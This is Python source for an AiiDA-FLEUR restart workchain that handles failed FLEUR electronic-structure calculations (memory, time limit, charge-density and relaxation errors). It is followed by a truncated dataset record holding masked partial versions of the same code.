self.exit_codes.ERROR_SOMETHING_WENT_WRONG) @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.ERROR_DROP_CDN) def _handle_dirac_equation(self, calculation): """ Sometimes relaxation calculation fails with Diraq problem which is usually caused by problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn. """ # try to drop remote folder and see if it helps is_fleurinp_from_relax = False if 'fleurinp' in self.ctx.inputs: if 'relax.xml' in self.ctx.inputs.fleurinp.files: is_fleurinp_from_relax = True if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax: del self.ctx.inputs.parent_folder self.ctx.restart_calc = None self.ctx.is_finished = False self.report('Calculation seems to fail due to corrupted charge density (can happen' 'during relaxation). I drop cdn from previous step') return ProcessHandlerReport(True) self.ctx.restart_calc = calculation self.ctx.is_finished = True self.report('Can not drop charge density. If I drop the remote folder, there will be no inp.xml') self.results() return ProcessHandlerReport(True, self.exit_codes.ERROR_SOMETHING_WENT_WRONG) @process_handler(priority=52, exit_codes=FleurCalculation.exit_codes.ERROR_VACUUM_SPILL_RELAX) def _handle_vacuum_spill_error(self, calculation): """ Calculation failed for unknown reason. """ self.ctx.restart_calc = calculation self.ctx.is_finished = True self.report('FLEUR calculation failed because an atom spilled to the vacuum during' 'relaxation. Can be fixed via RelaxBaseWorkChain.') self.results() return ProcessHandlerReport(True, self.exit_codes.ERROR_VACUUM_SPILL_RELAX) @process_handler(priority=51, exit_codes=FleurCalculation.exit_codes.ERROR_MT_RADII_RELAX) def _handle_mt_relax_error(self, calculation): """ Calculation failed for unknown reason. """ self.ctx.restart_calc = calculation self.ctx.is_finished = True self.report('FLEUR calculation failed due to MT overlap. Can be fixed via RelaxBaseWorkChain') self.results() return ProcessHandlerReport(True, self.exit_codes.ERROR_MT_RADII_RELAX) @process_handler(priority=50, exit_codes=FleurCalculation.exit_codes.ERROR_NOT_ENOUGH_MEMORY) def _handle_not_enough_memory(self, calculation): """ Calculation failed due to lack of memory. Probably works for JURECA only, has to be tested for other systems. """ if not self.ctx.can_be_optimised: self.ctx.restart_calc = calculation self.ctx.is_finished = True self.report('I am not allowed to optimize your settings. Consider providing at least' 'num_machines and num_mpiprocs_per_machine') self.results() return ProcessHandlerReport(True, self.exit_codes.ERROR_MEMORY_ISSUE_NO_SOLUTION) self.ctx.restart_calc = None self.ctx.is_finished = False self.report('Calculation failed due to lack of memory, I resubmit it with twice larger' ' amount of computational nodes and smaller MPI/OMP ratio') # increase number of nodes propose_nodes = self.ctx.num_machines * 2 if propose_nodes > self.ctx.max_queue_nodes: propose_nodes = self.ctx.max_queue_nodes self.ctx.num_machines = propose_nodes self.ctx.suggest_mpi_omp_ratio = self.ctx.suggest_mpi_omp_ratio / 2 status = self.check_kpts() if status is not None: self.ctx.is_finished = True self.results() return ProcessHandlerReport(True, self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES) if 'settings' not in self.ctx.inputs: settings = {} else: settings = self.ctx.inputs.settings.get_dict() settings.setdefault('remove_from_remotecopy_list', []) if 'mixing_history*' not in settings['remove_from_remotecopy_list']: settings['remove_from_remotecopy_list'].append('mixing_history*') self.ctx.inputs.settings = orm.Dict(dict=settings) #check if the cdn.hdf can be reused #Out of memory can also occur after a couple of iterations if the mixing_history gets too large remote = calculation.base.links.get_outgoing().get_node_by_label('remote_folder') if _is_remote_reusable(self.ctx.inputs, calculation): if 'fleurinp' in self.ctx.inputs: del self.ctx.inputs.fleurinp self.ctx.inputs.parent_folder = remote return ProcessHandlerReport(True) @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.ERROR_TIME_LIMIT) def _handle_time_limits(self, calculation): """ If calculation fails due to time limits, we simply resubmit it. """ from aiida.common.exceptions import NotExistent # if previous calculation failed for the same reason, do not restart try: prev_calculation_remote = calculation.base.links.get_incoming().get_node_by_label('parent_folder') prev_calculation_status = prev_calculation_remote.creator.exit_status if prev_calculation_status in FleurCalculation.get_exit_statuses(['ERROR_TIME_LIMIT']): self.ctx.is_finished = True self.results() return ProcessHandlerReport(True) except NotExistent: pass self.report('FleurCalculation failed due to time limits, I restart it from where it ended') # increase wallclock time propose_wallclock = self.ctx.inputs.metadata.options['max_wallclock_seconds'] * 2 if propose_wallclock > self.ctx.max_queue_wallclock_sec: propose_wallclock = self.ctx.max_queue_wallclock_sec self.ctx.inputs.metadata.options['max_wallclock_seconds'] = propose_wallclock # increase number of nodes propose_nodes = self.ctx.num_machines * 2 if propose_nodes > self.ctx.max_queue_nodes: propose_nodes = self.ctx.max_queue_nodes self.ctx.num_machines = propose_nodes remote = calculation.base.links.get_outgoing().get_node_by_label('remote_folder') # resubmit providing inp.xml and cdn from the remote folder self.ctx.is_finished = False if _is_remote_reusable(self.ctx.inputs, calculation): if 'fleurinp' in self.ctx.inputs: del self.ctx.inputs.fleurinp self.ctx.inputs.parent_folder = remote return ProcessHandlerReport(True) def _is_remote_reusable(inputs, calculation): """ Check whether the remote folder of the given calculation can be resubmitted """ can_use_remote = False #If no charge density file is available to restart from the calculation will except #with a not nice error message. So we can only reuse the charge density if these files are available retrieved_filenames = calculation.base.links.get_outgoing().get_node_by_label('retrieved').list_object_names() if any(file in retrieved_filenames for file in ( 'cdn_last.hdf', 'cdn1', )): can_use_remote = True if 'fleurinp' in inputs: modes = inputs.fleurinp.get_fleur_modes() if modes['force_theorem'] or modes['dos'] or modes['band']: # in modes listed above it makes no sense copying cdn.hdf can_use_remote = False # without fleurinp it is harder to extract modes in this case # - simply try to reuse cdn.hdf and hope it works return can_use_remote
normal
{ "blob_id": "1d4a51cfbd5df9ac9074c816a140309e04fff021", "index": 4159, "step-1": "<mask token>\n\n\nclass FleurBaseWorkChain(BaseRestartWorkChain):\n <mask token>\n <mask token>\n <mask token>\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.expose_inputs(FleurCalculation, exclude=('metadata.options',))\n spec.input('options', valid_type=orm.Dict, help=\n 'Optional parameters to set up computational details.')\n spec.input('description', valid_type=str, required=False, non_db=\n True, help='Calculation description.')\n spec.input('label', valid_type=str, required=False, non_db=True,\n help='Calculation label.')\n spec.input('add_comp_para', valid_type=orm.Dict, default=lambda :\n orm.Dict(dict={'only_even_MPI': False, 'forbid_single_mpi': \n False, 'max_queue_nodes': 20, 'max_queue_wallclock_sec': 86400}\n ), help=\n 'Gives additional control over computational parametersonly_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.This might speedup a calculation for machines having even number of sockets per node.max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n )\n spec.outline(cls.setup, cls.validate_inputs, while_(cls.\n should_run_process)(cls.run_process, cls.inspect_process), cls.\n results)\n spec.expose_outputs(FleurCalculation)\n spec.exit_code(311, 'ERROR_VACUUM_SPILL_RELAX', message=\n 'FLEUR calculation failed because an atom spilled to thevacuum during relaxation'\n )\n spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message=\n 'Overlapping MT-spheres during relaxation.')\n spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message=\n 'Computational resources are not optimal.')\n spec.exit_code(399, 'ERROR_SOMETHING_WENT_WRONG', message=\n 'FleurCalculation failed and FleurBaseWorkChain has no strategy to resolve this'\n )\n <mask token>\n <mask token>\n <mask token>\n\n @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.\n ERROR_DROP_CDN)\n def _handle_dirac_equation(self, calculation):\n \"\"\"\n Sometimes relaxation calculation fails with Diraq problem which is usually caused by\n problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn.\n \"\"\"\n is_fleurinp_from_relax = False\n if 'fleurinp' in self.ctx.inputs:\n if 'relax.xml' in self.ctx.inputs.fleurinp.files:\n is_fleurinp_from_relax = True\n if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax:\n del self.ctx.inputs.parent_folder\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report(\n 'Calculation seems to fail due to corrupted charge density (can happenduring relaxation). I drop cdn from previous step'\n )\n return ProcessHandlerReport(True)\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Can not drop charge density. If I drop the remote folder, there will be no inp.xml'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n <mask token>\n <mask token>\n <mask token>\n\n @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.\n ERROR_TIME_LIMIT)\n def _handle_time_limits(self, calculation):\n \"\"\"\n If calculation fails due to time limits, we simply resubmit it.\n \"\"\"\n from aiida.common.exceptions import NotExistent\n try:\n prev_calculation_remote = calculation.base.links.get_incoming(\n ).get_node_by_label('parent_folder')\n prev_calculation_status = (prev_calculation_remote.creator.\n exit_status)\n if prev_calculation_status in FleurCalculation.get_exit_statuses([\n 'ERROR_TIME_LIMIT']):\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True)\n except NotExistent:\n pass\n self.report(\n 'FleurCalculation failed due to time limits, I restart it from where it ended'\n )\n propose_wallclock = self.ctx.inputs.metadata.options[\n 'max_wallclock_seconds'] * 2\n if propose_wallclock > self.ctx.max_queue_wallclock_sec:\n propose_wallclock = self.ctx.max_queue_wallclock_sec\n self.ctx.inputs.metadata.options['max_wallclock_seconds'\n ] = propose_wallclock\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n remote = calculation.base.links.get_outgoing().get_node_by_label(\n 'remote_folder')\n self.ctx.is_finished = False\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n return ProcessHandlerReport(True)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass FleurBaseWorkChain(BaseRestartWorkChain):\n <mask token>\n <mask token>\n <mask token>\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.expose_inputs(FleurCalculation, exclude=('metadata.options',))\n spec.input('options', valid_type=orm.Dict, help=\n 'Optional parameters to set up computational details.')\n spec.input('description', valid_type=str, required=False, non_db=\n True, help='Calculation description.')\n spec.input('label', valid_type=str, required=False, non_db=True,\n help='Calculation label.')\n spec.input('add_comp_para', valid_type=orm.Dict, default=lambda :\n orm.Dict(dict={'only_even_MPI': False, 'forbid_single_mpi': \n False, 'max_queue_nodes': 20, 'max_queue_wallclock_sec': 86400}\n ), help=\n 'Gives additional control over computational parametersonly_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.This might speedup a calculation for machines having even number of sockets per node.max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n )\n spec.outline(cls.setup, cls.validate_inputs, while_(cls.\n should_run_process)(cls.run_process, cls.inspect_process), cls.\n results)\n spec.expose_outputs(FleurCalculation)\n spec.exit_code(311, 'ERROR_VACUUM_SPILL_RELAX', message=\n 'FLEUR calculation failed because an atom spilled to thevacuum during relaxation'\n )\n spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message=\n 'Overlapping MT-spheres during relaxation.')\n spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message=\n 'Computational resources are not optimal.')\n spec.exit_code(399, 'ERROR_SOMETHING_WENT_WRONG', message=\n 'FleurCalculation failed and FleurBaseWorkChain has no strategy to resolve this'\n )\n <mask token>\n\n def check_kpts(self):\n \"\"\"\n This routine checks if the total number of requested cpus\n is a factor of kpts and makes an optimisation.\n\n If suggested number of num_mpiprocs_per_machine is 60% smaller than\n requested, it throws an exit code and calculation stop withour submission.\n \"\"\"\n if 'fleurinp' in self.ctx.inputs:\n fleurinp = self.ctx.inputs.fleurinp\n else:\n fleurinp = get_fleurinp_from_remote_data(self.ctx.inputs.\n parent_folder)\n only_even_MPI = self.inputs.add_comp_para['only_even_MPI']\n forbid_single_mpi = self.inputs.add_comp_para['forbid_single_mpi']\n try:\n machines, mpi_tasks, omp_threads, message = optimize_calc_options(\n self.ctx.num_machines, self.ctx.num_mpiprocs_per_machine,\n self.ctx.num_cores_per_mpiproc, self.ctx.use_omp, self.ctx.\n suggest_mpi_omp_ratio, fleurinp, only_even_MPI=\n only_even_MPI, forbid_single_mpi=forbid_single_mpi)\n except ValueError as exc:\n self.report(exc)\n return self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES\n self.report(message)\n self.ctx.inputs.metadata.options['resources']['num_machines'\n ] = machines\n self.ctx.inputs.metadata.options['resources'][\n 'num_mpiprocs_per_machine'] = mpi_tasks\n if self.ctx.use_omp:\n self.ctx.inputs.metadata.options['resources'][\n 'num_cores_per_mpiproc'] = omp_threads\n if 'environment_variables' not in self.ctx.inputs.metadata.options:\n self.ctx.inputs.metadata.options['environment_variables'] = {}\n self.ctx.inputs.metadata.options['environment_variables'][\n 'OMP_NUM_THREADS'] = str(omp_threads)\n\n @process_handler(priority=1, exit_codes=[FleurCalculation.exit_codes.\n ERROR_FLEUR_CALC_FAILED, FleurCalculation.exit_codes.ERROR_MT_RADII,\n FleurCalculation.exit_codes.ERROR_NO_RETRIEVED_FOLDER,\n FleurCalculation.exit_codes.ERROR_OPENING_OUTPUTS, FleurCalculation\n .exit_codes.ERROR_NO_OUTXML, FleurCalculation.exit_codes.\n ERROR_XMLOUT_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_RELAX_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_MISSING_DEPENDENCY])\n def _handle_general_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Calculation failed for a reason that can not be resolved automatically'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.\n ERROR_DROP_CDN)\n def _handle_dirac_equation(self, calculation):\n \"\"\"\n Sometimes relaxation calculation fails with Diraq problem which is usually caused by\n problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn.\n \"\"\"\n is_fleurinp_from_relax = False\n if 'fleurinp' in self.ctx.inputs:\n if 'relax.xml' in self.ctx.inputs.fleurinp.files:\n is_fleurinp_from_relax = True\n if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax:\n del self.ctx.inputs.parent_folder\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report(\n 'Calculation seems to fail due to corrupted charge density (can happenduring relaxation). I drop cdn from previous step'\n )\n return ProcessHandlerReport(True)\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Can not drop charge density. If I drop the remote folder, there will be no inp.xml'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n <mask token>\n\n @process_handler(priority=51, exit_codes=FleurCalculation.exit_codes.\n ERROR_MT_RADII_RELAX)\n def _handle_mt_relax_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'FLEUR calculation failed due to MT overlap. Can be fixed via RelaxBaseWorkChain'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_MT_RADII_RELAX)\n <mask token>\n\n @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.\n ERROR_TIME_LIMIT)\n def _handle_time_limits(self, calculation):\n \"\"\"\n If calculation fails due to time limits, we simply resubmit it.\n \"\"\"\n from aiida.common.exceptions import NotExistent\n try:\n prev_calculation_remote = calculation.base.links.get_incoming(\n ).get_node_by_label('parent_folder')\n prev_calculation_status = (prev_calculation_remote.creator.\n exit_status)\n if prev_calculation_status in FleurCalculation.get_exit_statuses([\n 'ERROR_TIME_LIMIT']):\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True)\n except NotExistent:\n pass\n self.report(\n 'FleurCalculation failed due to time limits, I restart it from where it ended'\n )\n propose_wallclock = self.ctx.inputs.metadata.options[\n 'max_wallclock_seconds'] * 2\n if propose_wallclock > self.ctx.max_queue_wallclock_sec:\n propose_wallclock = self.ctx.max_queue_wallclock_sec\n self.ctx.inputs.metadata.options['max_wallclock_seconds'\n ] = propose_wallclock\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n remote = calculation.base.links.get_outgoing().get_node_by_label(\n 'remote_folder')\n self.ctx.is_finished = False\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n return ProcessHandlerReport(True)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass FleurBaseWorkChain(BaseRestartWorkChain):\n <mask token>\n <mask token>\n <mask token>\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.expose_inputs(FleurCalculation, exclude=('metadata.options',))\n spec.input('options', valid_type=orm.Dict, help=\n 'Optional parameters to set up computational details.')\n spec.input('description', valid_type=str, required=False, non_db=\n True, help='Calculation description.')\n spec.input('label', valid_type=str, required=False, non_db=True,\n help='Calculation label.')\n spec.input('add_comp_para', valid_type=orm.Dict, default=lambda :\n orm.Dict(dict={'only_even_MPI': False, 'forbid_single_mpi': \n False, 'max_queue_nodes': 20, 'max_queue_wallclock_sec': 86400}\n ), help=\n 'Gives additional control over computational parametersonly_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.This might speedup a calculation for machines having even number of sockets per node.max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n )\n spec.outline(cls.setup, cls.validate_inputs, while_(cls.\n should_run_process)(cls.run_process, cls.inspect_process), cls.\n results)\n spec.expose_outputs(FleurCalculation)\n spec.exit_code(311, 'ERROR_VACUUM_SPILL_RELAX', message=\n 'FLEUR calculation failed because an atom spilled to thevacuum during relaxation'\n )\n spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message=\n 'Overlapping MT-spheres during relaxation.')\n spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message=\n 'Computational resources are not optimal.')\n spec.exit_code(399, 'ERROR_SOMETHING_WENT_WRONG', message=\n 'FleurCalculation failed and FleurBaseWorkChain has no strategy to resolve this'\n )\n\n def validate_inputs(self):\n \"\"\"\n Validate inputs that might depend on each other and cannot be validated by the spec.\n Also define dictionary `inputs` in the context, that will contain the inputs for the\n calculation that will be launched in the `run_calculation` step.\n \"\"\"\n self.ctx.inputs = AttributeDict(self.exposed_inputs(FleurCalculation))\n self.ctx.max_queue_nodes = self.inputs.add_comp_para['max_queue_nodes']\n self.ctx.max_queue_wallclock_sec = self.inputs.add_comp_para[\n 'max_queue_wallclock_sec']\n input_options = self.inputs.options.get_dict()\n self.ctx.optimize_resources = input_options.pop('optimize_resources',\n True)\n self.ctx.inputs.metadata.options = input_options\n if 'description' in self.inputs:\n self.ctx.inputs.metadata.description = self.inputs.description\n else:\n self.ctx.inputs.metadata.description = ''\n if 'label' in self.inputs:\n self.ctx.inputs.metadata.label = self.inputs.label\n else:\n self.ctx.inputs.metadata.label = ''\n if not self.ctx.optimize_resources:\n self.ctx.can_be_optimised = False\n return\n resources_input = self.ctx.inputs.metadata.options['resources']\n try:\n self.ctx.num_machines = int(resources_input['num_machines'])\n self.ctx.num_mpiprocs_per_machine = int(resources_input[\n 'num_mpiprocs_per_machine'])\n except KeyError:\n self.ctx.can_be_optimised = False\n self.report('WARNING: Computation resources were not optimised.')\n else:\n try:\n self.ctx.num_cores_per_mpiproc = int(resources_input[\n 'num_cores_per_mpiproc'])\n self.ctx.use_omp = True\n self.ctx.suggest_mpi_omp_ratio = (self.ctx.\n num_mpiprocs_per_machine / self.ctx.num_cores_per_mpiproc)\n except KeyError:\n self.ctx.num_cores_per_mpiproc = 1\n self.ctx.use_omp = False\n self.ctx.suggest_mpi_omp_ratio = 1\n status = self.check_kpts()\n if status is None:\n self.ctx.can_be_optimised = True\n else:\n self.report('ERROR: Not optimal computational resources.')\n return status\n\n def check_kpts(self):\n \"\"\"\n This routine checks if the total number of requested cpus\n is a factor of kpts and makes an optimisation.\n\n If suggested number of num_mpiprocs_per_machine is 60% smaller than\n requested, it throws an exit code and calculation stop withour submission.\n \"\"\"\n if 'fleurinp' in self.ctx.inputs:\n fleurinp = self.ctx.inputs.fleurinp\n else:\n fleurinp = get_fleurinp_from_remote_data(self.ctx.inputs.\n parent_folder)\n only_even_MPI = self.inputs.add_comp_para['only_even_MPI']\n forbid_single_mpi = self.inputs.add_comp_para['forbid_single_mpi']\n try:\n machines, mpi_tasks, omp_threads, message = optimize_calc_options(\n self.ctx.num_machines, self.ctx.num_mpiprocs_per_machine,\n self.ctx.num_cores_per_mpiproc, self.ctx.use_omp, self.ctx.\n suggest_mpi_omp_ratio, fleurinp, only_even_MPI=\n only_even_MPI, forbid_single_mpi=forbid_single_mpi)\n except ValueError as exc:\n self.report(exc)\n return self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES\n self.report(message)\n self.ctx.inputs.metadata.options['resources']['num_machines'\n ] = machines\n self.ctx.inputs.metadata.options['resources'][\n 'num_mpiprocs_per_machine'] = mpi_tasks\n if self.ctx.use_omp:\n self.ctx.inputs.metadata.options['resources'][\n 'num_cores_per_mpiproc'] = omp_threads\n if 'environment_variables' not in self.ctx.inputs.metadata.options:\n self.ctx.inputs.metadata.options['environment_variables'] = {}\n self.ctx.inputs.metadata.options['environment_variables'][\n 'OMP_NUM_THREADS'] = str(omp_threads)\n\n @process_handler(priority=1, exit_codes=[FleurCalculation.exit_codes.\n ERROR_FLEUR_CALC_FAILED, FleurCalculation.exit_codes.ERROR_MT_RADII,\n FleurCalculation.exit_codes.ERROR_NO_RETRIEVED_FOLDER,\n FleurCalculation.exit_codes.ERROR_OPENING_OUTPUTS, FleurCalculation\n .exit_codes.ERROR_NO_OUTXML, FleurCalculation.exit_codes.\n ERROR_XMLOUT_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_RELAX_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_MISSING_DEPENDENCY])\n def _handle_general_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Calculation failed for a reason that can not be resolved automatically'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.\n ERROR_DROP_CDN)\n def _handle_dirac_equation(self, calculation):\n \"\"\"\n Sometimes relaxation calculation fails with Diraq problem which is usually caused by\n problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn.\n \"\"\"\n is_fleurinp_from_relax = False\n if 'fleurinp' in self.ctx.inputs:\n if 'relax.xml' in self.ctx.inputs.fleurinp.files:\n is_fleurinp_from_relax = True\n if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax:\n del self.ctx.inputs.parent_folder\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report(\n 'Calculation seems to fail due to corrupted charge density (can happenduring relaxation). I drop cdn from previous step'\n )\n return ProcessHandlerReport(True)\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Can not drop charge density. If I drop the remote folder, there will be no inp.xml'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=52, exit_codes=FleurCalculation.exit_codes.\n ERROR_VACUUM_SPILL_RELAX)\n def _handle_vacuum_spill_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'FLEUR calculation failed because an atom spilled to the vacuum duringrelaxation. Can be fixed via RelaxBaseWorkChain.'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_VACUUM_SPILL_RELAX)\n\n @process_handler(priority=51, exit_codes=FleurCalculation.exit_codes.\n ERROR_MT_RADII_RELAX)\n def _handle_mt_relax_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'FLEUR calculation failed due to MT overlap. Can be fixed via RelaxBaseWorkChain'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_MT_RADII_RELAX)\n <mask token>\n\n @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.\n ERROR_TIME_LIMIT)\n def _handle_time_limits(self, calculation):\n \"\"\"\n If calculation fails due to time limits, we simply resubmit it.\n \"\"\"\n from aiida.common.exceptions import NotExistent\n try:\n prev_calculation_remote = calculation.base.links.get_incoming(\n ).get_node_by_label('parent_folder')\n prev_calculation_status = (prev_calculation_remote.creator.\n exit_status)\n if prev_calculation_status in FleurCalculation.get_exit_statuses([\n 'ERROR_TIME_LIMIT']):\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True)\n except NotExistent:\n pass\n self.report(\n 'FleurCalculation failed due to time limits, I restart it from where it ended'\n )\n propose_wallclock = self.ctx.inputs.metadata.options[\n 'max_wallclock_seconds'] * 2\n if propose_wallclock > self.ctx.max_queue_wallclock_sec:\n propose_wallclock = self.ctx.max_queue_wallclock_sec\n self.ctx.inputs.metadata.options['max_wallclock_seconds'\n ] = propose_wallclock\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n remote = calculation.base.links.get_outgoing().get_node_by_label(\n 'remote_folder')\n self.ctx.is_finished = False\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n return ProcessHandlerReport(True)\n\n\n<mask token>\n", "step-4": "<mask token>\nfrom aiida import orm\nfrom aiida.common import AttributeDict\nfrom aiida.engine import while_\nfrom aiida.engine.processes.workchains import BaseRestartWorkChain\nfrom aiida.engine.processes.workchains.utils import process_handler, ProcessHandlerReport\nfrom aiida_fleur.tools.common_fleur_wf import optimize_calc_options\nfrom aiida_fleur.calculation.fleur import FleurCalculation\nfrom aiida_fleur.data.fleurinp import get_fleurinp_from_remote_data\n\n\nclass FleurBaseWorkChain(BaseRestartWorkChain):\n \"\"\"Workchain to run a FLEUR calculation with automated error handling and restarts\"\"\"\n _workflowversion = '0.2.1'\n _process_class = FleurCalculation\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.expose_inputs(FleurCalculation, exclude=('metadata.options',))\n spec.input('options', valid_type=orm.Dict, help=\n 'Optional parameters to set up computational details.')\n spec.input('description', valid_type=str, required=False, non_db=\n True, help='Calculation description.')\n spec.input('label', valid_type=str, required=False, non_db=True,\n help='Calculation label.')\n spec.input('add_comp_para', valid_type=orm.Dict, default=lambda :\n orm.Dict(dict={'only_even_MPI': False, 'forbid_single_mpi': \n False, 'max_queue_nodes': 20, 'max_queue_wallclock_sec': 86400}\n ), help=\n 'Gives additional control over computational parametersonly_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.This might speedup a calculation for machines having even number of sockets per node.max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n )\n spec.outline(cls.setup, cls.validate_inputs, while_(cls.\n should_run_process)(cls.run_process, cls.inspect_process), cls.\n results)\n spec.expose_outputs(FleurCalculation)\n spec.exit_code(311, 'ERROR_VACUUM_SPILL_RELAX', message=\n 'FLEUR calculation failed because an atom spilled to thevacuum during relaxation'\n )\n spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message=\n 'Overlapping MT-spheres during relaxation.')\n spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message=\n 'Computational resources are not optimal.')\n spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message=\n 'Computational resources are not optimal.')\n spec.exit_code(399, 'ERROR_SOMETHING_WENT_WRONG', message=\n 'FleurCalculation failed and FleurBaseWorkChain has no strategy to resolve this'\n )\n\n def validate_inputs(self):\n \"\"\"\n Validate inputs that might depend on each other and cannot be validated by the spec.\n Also define dictionary `inputs` in the context, that will contain the inputs for the\n calculation that will be launched in the `run_calculation` step.\n 